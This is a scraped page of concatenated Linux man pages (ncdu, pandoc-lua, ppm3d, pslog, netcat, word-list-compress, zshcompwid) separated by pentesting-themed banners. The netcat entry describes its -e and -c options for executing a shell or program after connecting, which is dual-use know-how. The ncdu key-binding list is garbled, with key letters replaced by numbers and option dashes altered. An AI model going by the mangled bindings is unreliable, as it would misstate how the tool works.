(Linux only) Include (default) or exclude Linux pseudo filesystems, e.g. /proc (procfs), /sys (sysfs). The complete list of currently known pseudo filesystems is: binfmt, bpf, cgroup, cgroup2, debug, devpts, proc, pstore, security, selinux, sys, trace.

Interface options

-0
Don’t give any feedback while scanning a directory or importing a file, other than when a fatal error occurs. Ncurses will not be initialized until the scan is complete. When exporting the data with -o, ncurses will not be initialized at all. This option is the default when exporting to standard output.

-1
Similar to -0, but does give feedback on the scanning progress with a single line of output. This option is the default when exporting to a file. In some cases, the ncurses browser interface which you’ll see after the scan/import is complete may look garbled when using this option. If you’re not exporting to a file, -2 is probably a better choice.

-2
Provide a full-screen ncurses interface while scanning a directory or importing a file. This is the only interface that provides feedback on any non-fatal errors while scanning.

-q, –slow-ui-updates, –fast-ui-updates
Change the UI update interval while scanning or importing. Ncdu will update the screen 10 times a second by default (--fast-ui-updates), this can be decreased to once every 2 seconds with -q or --slow-ui-updates. This feature can be used to save bandwidth over remote connections. This option has no effect when -0 is used.

–enable-shell, –disable-shell
Enable or disable shell spawning from the browser. This feature is enabled by default when scanning a live directory and disabled when importing from file.

–enable-delete, –disable-delete
Enable or disable the built-in file deletion feature. This feature is enabled by default when scanning a live directory and disabled when importing from file. Explicitly disabling the deletion feature can work as a safeguard to prevent accidental data loss.

–enable-refresh, –disable-refresh
Enable or disable directory refreshing from the browser. This feature is enabled by default when scanning a live directory and disabled when importing from file.

-r
Read-only mode. When given once, this is an alias for --disable-delete, when given twice it will also add --disable-shell, thus ensuring that there is no way to modify the file system from within ncdu.

–si, –no-si
List sizes using base 10 prefixes, that is, powers of 1000 (KB, MB, etc), as defined in the International System of Units (SI), instead of the usual base 2 prefixes, that is, powers of 1024 (KiB, MiB, etc).

–disk-usage, –apparent-size
Select whether to display disk usage (default) or apparent sizes. Can also be toggled in the browser with the ‘a’ key.

–show-hidden, –hide-hidden
Show (default) or hide hidden and excluded files. Can also be toggled in the browser with the ’e’ key.

–show-itemcount, –hide-itemcount
Show or hide (default) the item counts column. Can also be toggled in the browser with the ‘c’ key.

–show-mtime, –hide-mtime
Show or hide (default) the last modification time column. Can also be toggled in the browser with the ’m’ key. This option is ignored when not in extended mode (see -e).

–show-graph, –hide-graph
Show (default) or hide the relative size bar column. Can also be toggled in the browser with the ‘g’ key.

–show-percent, –hide-percent
Show (default) or hide the relative size percent column. Can also be toggled in the browser with the ‘g’ key.

–sort COLUMN
Change the default column to sort on. Accepted values are disk-usage (the default), name, apparent-size, itemcount or mtime. The latter only makes sense in extended mode, see -e. The column can be suffixed with -asc or -desc to set the order to ascending or descending, respectively. e.g. --sort=name-desc will sort by name in descending order.

–enable-natsort, –disable-natsort
Enable (default) or disable natural sort when sorting by file name.

–group-directories-first, –no-group-directories-first
Sort (or not) directories before files.

–confirm-quit, –no-confirm-quit
Require a confirmation before quitting ncdu. Very helpful when you accidentally press ‘q’ during or after a very long scan.

–confirm-delete, –no-confirm-delete
Require a confirmation before deleting a file or directory. Enabled by default, but can be disabled if you’re absolutely sure you won’t accidentally press ’d’.

–color SCHEME
Select a color scheme. The following schemes are recognized: off to disable colors, dark for a color scheme intended for dark backgrounds and dark-bg for a variation of the dark color scheme that also works in terminals with a light background. The default is dark-bg unless the NO_COLOR environment variable is set.

CONFIGURATION

Ncdu can be configured by placing command-line options in /etc/ncdu.conf or $HOME/.config/ncdu/config. If both files exist, the system configuration will be loaded before the user configuration, allowing users to override options set in the system configuration. Options given on the command line will override options set in the configuration files. The files will not be read at all when --ignore-config is given on the command line.

The configuration file format is simply one command line option per line. Lines starting with # are ignored. Example configuration file:

# Always enable extended mode -e # Disable file deletion –disable-delete # Exclude .git directories –exclude .git

KEYS

?
Show help + keys + about screen

up, down, j, k
Cycle through the items

right, enter, l
Open selected directory

left, <, h
Go to parent directory

  1. Order by filename (press again for descending order)

  2. Order by filesize (press again for descending order)

  1. Order by number of items (press again for descending order)
  1. Toggle between showing disk usage and showing apparent size.
  1. Order by latest child mtime, or modified time. (press again for descending order) Requires the -e flag.
  1. Delete the selected file or directory. An error message will be shown when the contents of the directory do not match or do not exist anymore on the filesystem.

  2. Toggle dirs before files when sorting.

  3. Toggle between showing percentage, graph, both, or none. Percentage is relative to the size of the current directory, graph is relative to the largest item in the current directory.

  4. Toggle display of child item counts.

  5. Toggle display of latest child mtime, or modified time. Requires the -e flag.

  6. Show/hide ‘hidden’ or ’excluded’ files and directories. Please note that even though you can’t see the hidden files and directories, they are still there and they are still included in the directory sizes. If you suspect that the totals shown at the bottom of the screen are not correct, make sure you haven’t enabled this option.

  1. Show information about the current selected item.
  1. Refresh/recalculate the current directory.

  2. Spawn shell in current directory. Ncdu will determine your preferred shell from the NCDU_SHELL or SHELL variable (in that order), or will call /bin/sh if neither are set. This allows you to also configure another command to be run when he ‘b’ key is pressed. For example, to spawn the vifm (1) file manager instead of a shell, run ncdu as follows: export NCDU_SHELL=vifm ncdu Ncdu will set the NCDU_LEVEL environment variable or increment it before spawning the shell. This variable allows you to detect when your shell is running from within ncdu, which can be useful to avoid nesting multiple instances of ncdu. Ncdu itself does not (currently) warn when attempting to run nested instances.

  3. Quit

FILE FLAGS

Entries in the browser interface may be prefixed by a one-character flag. These flags have the following meaning:

!
An error occurred while reading this directory.

.
An error occurred while reading a subdirectory, so the indicated size may not be correct.

<
File or directory is excluded from the statistics by using exclude patterns.

>
Directory is on another filesystem.

^
Directory is excluded from the statistics due to being a Linux pseudo filesystem.

  1. This is neither a file nor a folder (symlink, socket, …).
  1. Same file was already counted (hard link).
  1. Empty directory.

EXAMPLES

To scan and browse the directory you’re currently in, all you need is a simple:

ncdu

If you want to scan a full filesystem, your root filesystem, for example, then you’ll want to use -x:

ncdu -x /

Since scanning a large directory may take a while, you can scan a directory and export the results for later viewing:

ncdu -1xo- / | gzip >export.gz # …some time later: zcat export.gz | ncdu -f-

To export from a cron job, make sure to replace -1 with -0 to suppress any unnecessary output.

You can also export a directory and browse it once scanning is done:

ncdu -o- | tee export.file | ./ncdu -f-

The same is possible with gzip compression, but is a bit kludgey:

ncdu -o- | gzip | tee export.gz | gunzip | ./ncdu -f-

To scan a system remotely, but browse through the files locally:

ssh -C user@system ncdu -o- / | ./ncdu -f-

The -C option to ssh enables compression, which will be very useful over slow links. Remote scanning and local viewing has two major advantages when compared to running ncdu directly on the remote system: You can browse through the scanned directory on the local system without any network latency, and ncdu does not keep the entire directory structure in memory when exporting, so you won’t consume much memory on the remote system.

HARD LINKS

Every disk usage analysis utility has its own way of (not) counting hard links. There does not seem to be any universally agreed method of handling hard links, and it is even inconsistent among different versions of ncdu. This section explains what each version of ncdu does.

ncdu 1.5 and below does not support any hard link detection at all: each link is considered a separate inode and its size is counted for every link. This means that the displayed directory sizes are incorrect when analyzing directories which contain hard links.

ncdu 1.6 has basic hard link detection: When a link to a previously encountered inode is detected, the link is considered to have a file size of zero bytes. Its size is not counted again, and the link is indicated in the browser interface with a ‘H’ mark. The displayed directory sizes are only correct when all links to an inode reside within that directory. When this is not the case, the sizes may or may not be correct, depending on which links were considered as duplicate and which as original. The indicated size of the topmost directory (that is, the one specified on the command line upon starting ncdu) is always correct.

ncdu 1.7 and later has improved hard link detection. Each file that has more than two links has the H mark visible in the browser interface. Each hard link is counted exactly once for every directory it appears in. The indicated size of each directory is therefore, correctly, the sum of the sizes of all unique inodes that can be found in that directory. Note, however, that this may not always be same as the space that will be reclaimed after deleting the directory, as some inodes may still be accessible from hard links outside it.

BUGS

Directory hard links are not supported. They will not be detected as being hard links, and will thus be scanned and counted multiple times.

Some minor glitches may appear when displaying filenames that contain multibyte or multicolumn characters.

All sizes are internally represented as a signed 64bit integer. If you have a directory larger than 8 EiB minus one byte, ncdu will clip its size to 8 EiB minus one byte. When deleting items in a directory with a clipped size, the resulting sizes will be incorrect.

Item counts are stored in a signed 32-bit integer without overflow detection. If you have a directory with more than 2 billion files, quite literally anything can happen.

On macOS 10.15 and later, running ncdu on the root directory without `–exclude-firmlinks` may cause directories to be scanned and counted multiple times. Firmlink cycles are currently (1.16) not detected, so it may also cause ncdu to get stuck in an infinite loop and eventually run out of memory.

Please report any other bugs you may find at the bug tracker, which can be found on the web site at https://dev.yorhel.nl/ncdu

AUTHOR

Written by Yoran Heling <[email protected]>.

SEE ALSO

du (1)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1614 - Linux cli command pandoc-lua

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pandoc-lua and provides detailed information about the command pandoc-lua, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pandoc-lua.

SYNOPSIS

pandoc-lua [options] [script [args]]

DESCRIPTION

pandoc-lua is a standalone Lua interpreter with behavior similar to that of the standard lua executable, but exposing all of pandoc’s Lua libraries. All pandoc.* packages, as well as the packages re and lpeg, are available via global variables. Furthermore, the globals PANDOC_VERSION, PANDOC_STATE, and PANDOC_API_VERSION are set at startup.

If no script argument is given, then the script is assumed to be passed in via stdin. When called without arguments, pandoc-lua behaves as pandoc-lua -v -i when the standard input (stdin) is a terminal, and as pandoc-lua - otherwise. On Windows the program will always behave as if it was connected to a terminal.

When called without the option -E, the interpreter checks for an environment variable LUA_INIT before running any argument. If the variable content has the format @filename, then pandoc-lua executes the file. Otherwise, pandoc-lua executes the string itself.

OPTIONS

-e stat
Execute statement stat.

-l mod
If mod has the pattern g=m, then require library m into global g; otherwise require library mod into global mod.

-v
Show version information.

-i
Enter interactive mode after running script.

-E
Ignore environment variables. This is not fully implemented yet and only ignores the LUA_INIT variable. Other variables like LUA_PATH and LUA_CPATH are not ignored.

-W
Turn warnings on.

INTERACTIVE MODE

In interactive mode, the Lua interpreter repeatedly prompts and waits for a line. After reading a line, Lua first tries to interpret the line as an expression. If it succeeds, it prints its value. Otherwise, it interprets the line as a statement. If you write an incomplete statement, the interpreter waits for its completion by issuing a different prompt.

Exit the interactive mode by pressing Ctrl-D or Ctrl-C, or by typing os.exit(). The Isocline library is used for line editing. Press F1 to get a list of available keybindings; the ctrl key is abbreviated as ^ in that list.

AUTHORS

Copyright 2023 John MacFarlane ([email protected]) and contributors. Released under the GPL, version 2 or later. This software carries no warranty of any kind. (See COPYRIGHT for full copyright and warranty notices.)

Lua: Copyright 1994-2023 Lua.org, PUC-Rio.

The Pandoc source code may be downloaded from <https://hackage.haskell.org/package/pandoc> or <https://github.com/jgm/pandoc/releases>. Further documentation is available at <https://pandoc.org>.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1615 - Linux cli command ppm3d

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command ppm3d and provides detailed information about the command ppm3d, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the ppm3d.

.

NAME 🖥️ ppm3d 🖥️

convert two PPM images into an anaglyph (red/blue 3d glasses) PPM

SYNOPSIS

ppm3d [-color] [**-offset=**horizontal_offset] leftppmfile rightppmfile

Deprecated optional 3rd argument: horizontal_offset

DESCRIPTION

This program is part of Netpbm(1) .

ppm3d reads two PPM images as input and produces a PPM as output, with the images overlapping by the specified number of pixels in blue-green/red format. The idea is that if you look at the image with 3-D glasses (glasses that admit only red through one eye and only green or blue through the other), you see an image with depth. This is called an anaglyph stereogram.

ppm3d can produce either of two kinds of anaglyph stereogram: monochrome or color. Use the -color option to choose.

In the monochrome version, ppm3d ignores any color (actually, chrominance) in the input images and produces a result which is monochrome. Viewed through red-green glasses it is yellow, but without any other color in the field, your brain tends to see it as grayscale.

In the color version, ppm3d generates a result which is close to the color of the original. It’s not great, though, because each eye necessarily cannot see the entire spectrum. Red and cyan don’t work well, but most other colors – especially when heavily saturated – come out quite well.

To view a color anaglyph stereogram, you need glasses with a left lens that admits only red light and a right lens that admits only blue and green light. (The right lens may be called a cyan lens because that is its pigment in white light; don’t be misled into thinking that cyan is the only color that gets through it). Your brain is wired so that even though the components of light are coming in through different eyes, they mix in your brain to form the same sensation as if you were looking at the combined light with both eyes.

The input PPMs must be the same dimensions.

To make a different kind of stereogram, use pamstereogram. That makes a stereogram that you view without special glasses, just by letting your eyes unfocus so that each eye sees different parts of the image.

ARGUMENTS

The mandatory arguments are file names of the left and right input images.

An optional third argument specifies the same thing as the value of the -offset argument, but is deprecated because -offset is easier to use and read. Before Netpbm 10.38 (March 2007), this third argument is the only way to specify the offset.

OPTIONS

In addition to the options common to all programs based on libnetpbm (most notably -quiet, see Common Options ), ppm3d recognizes the following command line options:

**-offset=**horizontal_offset
This option indicates the amount, in pixels, by which the left and image is offset to the right of the right image in the output.

The effect of this option is to move the entire image forward (positive numbers) or backward (negative numbers). With a zero offset, the main subject of the picture appears in the plane of the picture (i.e. if the image is projected on a screen, the location of the screen). The main subject is the subject at the location where the line of sight of the left camera intersects the line of sight of the right camera – the main subject appears at the same location in both the left and right images.

Default is zero.

This option was new in Netpbm 10.38 (March 2007). Before that, use the third argument instead. Also, before Netpbm 10.38 the default is +30 pixels.

-color
This option causes ppm3d to generate a color anaglyph stereogram. By default, it generates monochrome.

This option was new in Netpbm 10.38 (March 2007).

SEE ALSO

pamstereogram(1) ppm(1)

AUTHOR

Copyright (C) 1993 by David K. Drum.

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/ppm3d.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1616 - Linux cli command pslog

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pslog and provides detailed information about the command pslog, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pslog.

NAME 🖥️ pslog 🖥️

report current logs path of a process

SYNOPSIS

pslog pid
pslog -V

DESCRIPTION

The pslog command reports the current working logs of a process.

OPTIONS

-V
Display version information.

SEE ALSO

pgrep(1), ps(1), pwdx(1).

AUTHOR

Vito Mule’ wrote pslog in 2015. Please send bug reports to .

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1617 - Linux cli command nc

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command nc and provides detailed information about the command nc, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the nc.

NAME 🖥️ nc 🖥️

TCP/IP swiss army knife

SYNOPSIS

nc [-options] hostname port[s] [ports] …
nc -l -p port [-options] [hostname] [port]

DESCRIPTION

netcat is a simple unix utility which reads and writes data across network connections, using TCP or UDP protocol. It is designed to be a reliable “back-end” tool that can be used directly or easily driven by other programs and scripts. At the same time, it is a feature-rich network debugging and exploration tool, since it can create almost any kind of connection you would need and has several interesting built-in capabilities. Netcat, or “nc” as the actual program is named, should have been supplied long ago as another one of those cryptic but standard Unix tools.

In the simplest usage, “nc host port” creates a TCP connection to the given port on the given target host. Your standard input is then sent to the host, and anything that comes back across the connection is sent to your standard output. This continues indefinitely, until the network side of the connection shuts down. Note that this behavior is different from most other applications which shut everything down and exit after an end-of-file on the standard input.

Netcat can also function as a server, by listening for inbound connections on arbitrary ports and then doing the same reading and writing. With minor limitations, netcat doesn’t really care if it runs in “client” or “server” mode – it still shovels data back and forth until there isn’t any more left. In either mode, shutdown can be forced after a configurable time of inactivity on the network side.

And it can do this via UDP too, so netcat is possibly the “udp telnet-like” application you always wanted for testing your UDP-mode servers. UDP, as the “U” implies, gives less reliable data transmission than TCP connections and some systems may have trouble sending large amounts of data that way, but it’s still a useful capability to have.

You may be asking “why not just use telnet to connect to arbitrary ports?” Valid question, and here are some reasons. Telnet has the “standard input EOF” problem, so one must introduce calculated delays in driving scripts to allow network output to finish. This is the main reason netcat stays running until the *network* side closes. Telnet also will not transfer arbitrary binary data, because certain characters are interpreted as telnet options and are thus removed from the data stream. Telnet also emits some of its diagnostic messages to standard output, where netcat keeps such things religiously separated from its *output* and will never modify any of the real data in transit unless you *really* want it to. And of course telnet is incapable of listening for inbound connections, or using UDP instead. Netcat doesn’t have any of these limitations, is much smaller and faster than telnet, and has many other advantages.

OPTIONS

-c string
specify shell commands to exec after connect (use with caution). The string is passed to /bin/sh -c for execution. See the -e option if you don’t have a working /bin/sh (Note that POSIX-conformant system must have one).

-e filename
specify filename to exec after connect (use with caution). See the -c option for enhanced functionality.

-g gateway
source-routing hop point[s], up to 8

-G num
source-routing pointer: 4, 8, 12, …

-h
display help

-i secs
delay interval for lines sent, ports scanned

-l
listen mode, for inbound connects

-n
numeric-only IP addresses, no DNS

-o file
hex dump of traffic

-p port
local port number (port numbers can be individual or ranges: lo-hi [inclusive])

-q seconds
after EOF on stdin, wait the specified number of seconds and then quit. If seconds is negative, wait forever.

-b
allow UDP broadcasts

-r
randomize local and remote ports

-s addr
local source address

-t
enable telnet negotiation

-u
UDP mode

-v
verbose [use twice to be more verbose]

-w secs
timeout for connects and final net reads

-C
Send CRLF as line-ending

-z
zero-I/O mode [used for scanning]

-T type
set TOS flag (type may be one of “Minimize-Delay”, “Maximize-Throughput”, “Maximize-Reliability”, or “Minimize-Cost”.)

COPYRIGHT

Netcat is entirely my own creation, although plenty of other code was used as examples. It is freely given away to the Internet community in the hope that it will be useful, with no restrictions except giving credit where it is due. No GPLs, Berkeley copyrights or any of that nonsense. The author assumes NO responsibility for how anyone uses it. If netcat makes you rich somehow and you’re feeling generous, mail me a check. If you are affiliated in any way with Microsoft Network, get a life. Always ski in control. Comments, questions, and patches to [email protected].

NOTES

Some port names in /etc/services contain hyphens – netcat currently will not correctly parse those unless you escape the hyphens with backslashes (e.g. “netcat localhost ‘ftp\data’”).

BUGS

Efforts have been made to have netcat “do the right thing” in all its various modes. If you believe that it is doing the wrong thing under whatever circumstances, please notify me and tell me how you think it should behave. If netcat is not able to do some task you think up, minor tweaks to the code will probably fix that. It provides a basic and easily-modified template for writing other network applications, and I certainly encourage people to make custom mods and send in any improvements they make to it. Continued feedback from the Internet community is always welcome!

EXAMPLES

For several netcat recipes, please see /usr/share/doc/netcat/README.gz and /usr/share/doc/netcat/README.Debian.gz.

AUTHOR

This manual page was written by Joey Hess <[email protected]> and Robert Woodcock <[email protected]>, cribbing heavily from Netcat’s README file.

Netcat was written by a guy we know as the Hobbit <[email protected]>.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1618 - Linux cli command word-list-compress

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command word-list-compress and provides detailed information about the command word-list-compress, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the word-list-compress.

NAME 🖥️ word-list-compress 🖥️

list-compress - word list compressor/decompressor for GNU Aspell

SYNOPSIS

word-list-compress c[ompress] | d[ecompress]

DESCRIPTION

word-list-compress compresses or decompresses sorted word lists for use with the GNU Aspell spell checker.

COMMANDS

-c, c, compress
compress the plain text word list read from standard input.

-d, d, decompress
decompress the compressed word list read from standard input.

EXAMPLES

Here are a few examples of how you can use word-list-compress

word-list-compress d <wordlist.cwl >wordlist.txt
Decompress file wordlist.cwl to text file wordlist.txt

word-list-compress c <wordlist.wl >wordlist.cwl 2>errors.txt
Compress wordlist.wl to wordlist.cwl and send any error messages to a text file named errors.txt

LC_COLLATE=C sort -u <wordlist.txt | word-list-compress c >wordlist.cwl
Sort a word list, then pipe it to word-list-compress to create a compressed binary wordlist.cwl file.

word-list-compress d <words.cwl | aspell create master ./words.rws
Decompress a wordlist, then pipe it to aspell(1) to create a spelling list. Please check the aspell(1) info manual for proper usage and options.

TIPS

Word-list-compress is best used with sorted word list type files. It is not a general purpose compression program since the resulting files may actually increase in size.

Word-list-compress accepts up to 255 text characters in the range of {0x21…0xFF}. If your word list requires a larger character set for certain languages or longer length for multi-word, scientific, medical, technical or other use, then it is recommended that you compress your word list using prezip-bin(1)

DIAGNOSTICS

Word-list-compress normally exits with a return code of 0. If it encounters an error, a message is sent to standard error output (stderr), and word-list-compress exits with a non-zero return value. Error messages are listed below:

(display help/usage message)
Unknown command given on the command line so word-list-compress displays a usage message to standard error output.

Corrupt Input
This is only for the decompression command d. The input file is of an unknown format or the input file/stream is corrupted. You may have some valid output, but word-list-compress could not complete the process. If the input file is a compressed wordlist but you have no output file, then it may be a newer prezip-bin(1) version of compressed file, if so, try decompressing the file with prezip-bin(1) instead.

Output Data Error
The output is full, write protected, or has an error and can no longer be written to.

SEE ALSO

aspell(1), aspell-import(1), prezip-bin(1), run-with-aspell(1)

Aspell is fully documented in its Texinfo manual. See the ` aspell ’ entry in info for more complete documentation.

REPORTING BUGS

For help, see the Aspell homepage at <http://aspell.net> and send bug reports/comments to the Aspell user list at the above address.

AUTHOR

This manual page was written by Aaron Lehmann <[email protected]>, Brian Nelson <[email protected]> and Jose Da Silva <[email protected]>.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1619 - Linux cli command zshcompwid

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command zshcompwid and provides detailed information about the command zshcompwid, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the zshcompwid.

NAME 🖥️ zshcompwid 🖥️

zsh completion widgets

DESCRIPTION

The shell’s programmable completion mechanism can be manipulated in two ways; here the low-level features supporting the newer, function-based mechanism are defined. A complete set of shell functions based on these features is described in zshcompsys(1), and users with no interest in adding to that system (or, potentially, writing their own – see dictionary entry for `hubris’) should skip the current section. The older system based on the compctl builtin command is described in zshcompctl(1).

Completion widgets are defined by the -C option to the zle builtin command provided by the zsh/zle module (see zshzle(1)). For example,

zle -C complete expand-or-complete completer

defines a widget named `complete’. The second argument is the name of any of the builtin widgets that handle completions: complete-word, expand-or-complete, expand-or-complete-prefix, menu-complete, menu-expand-or-complete, reverse-menu-complete, list-choices, or delete-char-or-list. Note that this will still work even if the widget in question has been re-bound.

When this newly defined widget is bound to a key using the bindkey builtin command defined in the zsh/zle module (see zshzle(1)), typing that key will call the shell function `completer’. This function is responsible for generating completion matches using the builtins described below. As with other ZLE widgets, the function is called with its standard input closed.

Once the function returns, the completion code takes over control again and treats the matches in the same manner as the specified builtin widget, in this case expand-or-complete.

COMPLETION SPECIAL PARAMETERS

The parameters ZLE_REMOVE_SUFFIX_CHARS and ZLE_SPACE_SUFFIX_CHARS are used by the completion mechanism, but are not special. See Parameters Used By The Shell in zshparam(1).

Inside completion widgets, and any functions called from them, some parameters have special meaning; outside these functions they are not special to the shell in any way. These parameters are used to pass information between the completion code and the completion widget. Some of the builtin commands and the condition codes use or change the current values of these parameters. Any existing values will be hidden during execution of completion widgets; except for compstate, the parameters are reset on each function exit (including nested function calls from within the completion widget) to the values they had when the function was entered.

CURRENT This is the number of the current word, i.e. the word the cursor is currently on in the words array. Note that this value is only correct if the ksharrays option is not set.

IPREFIX
Initially this will be set to the empty string. This parameter functions like PREFIX; it contains a string which precedes the one in PREFIX and is not considered part of the list of matches. Typically, a string is transferred from the beginning of PREFIX to the end of IPREFIX, for example:

IPREFIX=${PREFIX%%=}= PREFIX=${PREFIX#=}

causes the part of the prefix up to and including the first equal sign not to be treated as part of a matched string. This can be done automatically by the compset builtin, see below.

ISUFFIX
As IPREFIX, but for a suffix that should not be considered part of the matches; note that the ISUFFIX string follows the SUFFIX string.

PREFIX
Initially this will be set to the part of the current word from the beginning of the word up to the position of the cursor; it may be altered to give a common prefix for all matches.

QIPREFIX
This parameter is read-only and contains the quoted string up to the word being completed. E.g. when completing `“foo’, this parameter contains the double quote. If the -q option of compset is used (see below), and the original string was `“foo bar’ with the cursor on the `bar’, this parameter contains `“foo ‘.

QISUFFIX
Like QIPREFIX, but containing the suffix.

SUFFIX
